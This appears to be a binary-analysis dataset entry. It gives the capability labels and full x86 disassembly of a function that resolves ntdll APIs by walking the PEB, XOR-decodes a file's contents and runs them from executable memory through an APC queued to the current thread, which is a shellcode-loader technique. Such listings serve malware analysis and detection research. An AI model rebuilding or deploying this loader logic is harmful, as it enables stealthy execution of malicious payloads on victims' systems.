Function at 0x4013c0
Capabilities:
Access peb ldr_data
Encode data using xor
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4044f8
mov eax, dword fs:[0]
push eax
sub esp, 0x110
mov eax, dword [0x408040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
mov esi, eax
mov eax, dword [esi + 8]
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x110]
mov edx, str.LoadLibraryA
call fcn.00401270
push str.ntdll.dll
mov dword [0x408604], eax
call eax
mov esi, eax
mov edx, str.NtAllocateVirtualMemory
mov ecx, esi
call fcn.00401270
mov edx, str.NtQueueApcThread
mov dword [0x40860c], eax
mov ecx, esi
call fcn.00401270
push 0xb8
mov dword [0xcffa20], eax
lea eax, [ebp - 0xf4]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push ecx
lea ecx, [ebp - 0xf4]
call fcn.00402570
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0xf4]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 0
push 0
push 0
mov ecx, dword [eax + 8]
add ecx, dword [eax]
mov dword [ebp - 0xfc], ecx
mov ecx, dword [eax + 0xc]
adc ecx, dword [eax + 4]
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0xf4]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
xor eax, eax
mov dword [ebp - 0x30], 0
xor esi, esi
mov dword [ebp - 0x110], eax
xorps xmm0, xmm0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x100], eax
xor edi, edi
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0xfc]
movq qword [ebp - 0x38], xmm0
mov dword [ebp - 0x10c], esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], esi
test eax, eax
je 0x401579
cmp eax, 0x7fffffff
ja 0x40195f
cmp eax, 0x1000
jb 0x40152a
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401964
push ecx
call fcn.0040379c
add esp, 4
test eax, eax
je 0x401927
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [ebp - 0x10c], esi
mov dword [esi - 4], eax
jmp 0x40153b
push eax
call fcn.0040379c
add esp, 4
mov dword [ebp - 0x10c], eax
mov esi, eax
mov ecx, dword [ebp - 0xfc]
push ecx
push 0
push esi
lea eax, [esi + ecx]
mov dword [ebp - 0x108], esi
mov dword [ebp - 0x38], esi
mov edi, eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x30], eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0xfc]
add esp, 0xc
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x100], edi
mov dword [ebp - 0x104], esi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xf4]
push dword [ebp - 0x2c]
push eax
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0xe4]
call fcn.00402950
test eax, eax
jne 0x4015c3
push eax
mov eax, dword [ebp - 0xf4]
lea ecx, [ebp - 0xf4]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov edi, dword [ebp - 0x100]
mov eax, dword [ebp - 0x104]
jmp 0x4015c9
mov eax, dword [ebp - 0x108]
movaps xmm2, xmmword [0x4053d0]
sub edi, eax
xor eax, eax
mov dword [ebp - 0x2c], edi
test edi, edi
je 0x401639
cmp edi, 0x40
jb 0x40162c
mov edx, edi
lea ecx, [esi + 0x20]
and edx, 0xffffffc0
nop dword [eax + eax]
movups xmm0, xmmword [ecx - 0x20]
lea ecx, [ecx + 0x40]
add eax, 0x40
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [ecx - 0x60], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [ecx - 0x50]
xorps xmm0, xmm2
movups xmmword [ecx - 0x50], xmm0
movups xmm0, xmmword [ecx - 0x40]
xorps xmm0, xmm2
movups xmmword [ecx - 0x40], xmm0
movups xmm0, xmmword [ecx - 0x30]
xorps xmm1, xmm0
movups xmmword [ecx - 0x30], xmm1
cmp eax, edx
jb 0x4015f0
cmp eax, edi
jae 0x401639
xor byte [eax + esi], 0xaa
inc eax
cmp eax, edi
jb 0x401630
mov dword [ebp - 0x3c], edi
mov esi, 0x4086dc
mov dword [ebp - 0xf8], 0
mov edi, 1
mov dword [0x408600], 3
mov dword [ebp - 0x11c], 0x4052ac
mov dword [ebp - 0x118], 0x4052b0
mov dword [ebp - 0x114], 0x4052b4
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 2
nop dword [eax]
push dword [ebp + edi*4 - 0x120]
lea eax, [esi - 0x64]
push 0x64
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov eax, dword [ebp + edi*4 - 0x20]
lea esi, [esi + 0x68]
mov dword [esi - 0x68], eax
inc edi
mov eax, dword [0x408600]
add esp, 0xc
cmp edi, eax
jle 0x401690
imul ecx, eax, 0x68
mov eax, 0x4ec4ec4f
push 0x401380
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
lea edx, [ecx + 0x408678]
push eax
mov ecx, 0x408678
call fcn.00402f50
mov esi, dword [ebp - 0x10c]
mov edi, 1
xor eax, eax
mov dword [ebp - 0xfc], edi
add esp, 8
mov dword [0x408608], eax
cmp dword [0x408600], edi
jl 0x4017f9
xor esi, esi
mov dword [ebp - 0x100], 0x4086dc
xor edx, edx
mov dword [ebp - 0x104], esi
mov dword [ebp - 0x108], eax
xor ecx, ecx
nop word [eax + eax]
mov esi, 0xd30790
mov dword [esi + edi*4], 0
mov edi, dword [ebp - 0x108]
mov esi, dword [ebp - 0x104]
mov dword [edi*4 + 0xcffa28], 0
mov edi, dword [ebp - 0xfc]
test esi, esi
jle 0x401799
mov edi, dword [ebp - 0x100]
mov edi, dword [edi]
nop word [eax + eax]
imul ecx, dword [ecx*4 + 0xcffa24], 0x68
cmp edi, dword [ecx + 0x408674]
jle 0x401793
lea eax, [edx - 1]
mov ecx, eax
mov edx, eax
test ecx, ecx
jg 0x401770
mov edi, dword [ebp - 0xfc]
jmp 0x4017ab
mov edi, dword [ebp - 0xfc]
test eax, eax
jle 0x4017ab
mov ecx, dword [eax*4 + 0xcffa24]
mov dword [ecx*4 + 0xd30790], edi
mov ecx, dword [eax*4 + 0xcffa28]
mov edx, 0x8fe2a0
add dword [ebp - 0x100], 0x68
mov dword [eax*4 + 0xcffa28], edi
inc eax
mov esi, eax
mov dword [0x408608], eax
mov dword [edx + edi*4], ecx
mov ecx, eax
inc edi
mov dword [ebp - 0x108], ecx
mov edx, esi
mov dword [ebp - 0x104], esi
mov dword [ebp - 0xfc], edi
cmp edi, dword [0x408600]
jle 0x401730
mov esi, dword [ebp - 0x10c]
push 0x40
push 0x1000
lea eax, [ebp - 0x3c]
push eax
push 0
lea eax, [ebp - 0xf8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x40860c]
test eax, eax
je 0x401825
mov edx, str.Failed_to_allocate_virtual_memory.
jmp 0x40188b
movaps xmm0, xmmword [str._n_a_b_t]
lea ecx, [ebp - 0x28]
push 5
xor edx, edx
mov dword [ebp - 0x18], 1
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 5
call fcn.00401300
push dword [ebp - 0x2c]
push esi
push dword [ebp - 0xf8]
call sub.VCRUNTIME140.dll_memcpy
push 0x40532c
call fcn.00401020
add esp, 0x14
push 0
push 0
push dword [ebp - 0xf8]
push 0x401260
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [0xcffa20]
test eax, eax
je 0x4018a8
mov edx, str.Failed_to_queue_APC.
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push 0x402cc0
call fcn.00402aa0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
or edi, 0xffffffff
jmp 0x401901
push 1
push 0
call dword [sym.imp.KERNEL32.dll_SleepEx]
push 0x405348
call fcn.00401020
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 0xc
mov edi, 5
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
sub edi, 1
jne 0x4018d3
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 1
push 0x8000
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], edi
push ecx
push edi
lea ecx, [ebp - 0xf8]
push ecx
push eax
call dword [0x40860c]
test esi, esi
je 0x401937
mov ecx, dword [ebp - 0x110]
mov eax, esi
sub ecx, esi
cmp ecx, 0x1000
jb 0x40192d
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40192d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push esi
call fcn.004037cc
add esp, 8
lea ecx, [ebp - 0xf4]
call fcn.00401970
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040378e
mov esp, ebp
pop ebp
ret
call fcn.00402f40
call fcn.00401110
int3